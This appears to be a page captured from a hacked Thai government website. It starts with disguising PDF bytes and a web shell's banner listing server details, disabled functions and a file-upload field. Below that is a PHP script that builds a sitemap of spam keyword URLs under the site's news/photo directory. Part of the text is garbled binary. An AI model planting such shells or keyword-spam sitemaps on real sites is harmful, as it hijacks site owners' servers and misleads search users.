%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/moungngam/domains/moungngam.go.th/public_html/news/photo/ |
Upload File : |
<?php
/**
* Sitemap Generator Script
*
* Reads keywords from list.txt and generates a sitemap.xml file
* with URLs in the format domain.com/news/photo/keyword/
*/
// Base configuration
$base_url = (empty($_SERVER['HTTPS']) ? 'http' : 'https') . "://{$_SERVER['HTTP_HOST']}/news/photo/";
$file_path = "list.txt"; // Path to the keywords list file
$output_file = "29a.xml"; // Output file name
// Check if the keyword file exists
if (!file_exists($file_path)) {
die("Error: Keyword file not found at $file_path");
}
// Read keywords from file
$keywords = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
// Start XML output
$xml = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL;
$xml .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
// Current date for lastmod
$current_date = date('Y-m-d');
// Add entries for each keyword
foreach ($keywords as $keyword) {
$keyword = trim($keyword);
if (empty($keyword)) continue;
$url = $base_url . $keyword . '/';
$xml .= ' <url>' . PHP_EOL;
$xml .= ' <loc>' . htmlspecialchars($url) . '</loc>' . PHP_EOL;
$xml .= ' <lastmod>' . $current_date . '</lastmod>' . PHP_EOL;
$xml .= ' <changefreq>daily</changefreq>' . PHP_EOL;
$xml .= ' <priority>1.0</priority>' . PHP_EOL;
$xml .= ' </url>' . PHP_EOL;
}
// Close XML
$xml .= '</urlset>';
// Save to file
if (file_put_contents($output_file, $xml)) {
echo "Sitemap successfully generated at $output_file" . PHP_EOL;
echo "Contains " . count($keywords) . " URLs" . PHP_EOL;
} else {
echo "Error: Could not write sitemap to $output_file" . PHP_EOL;
}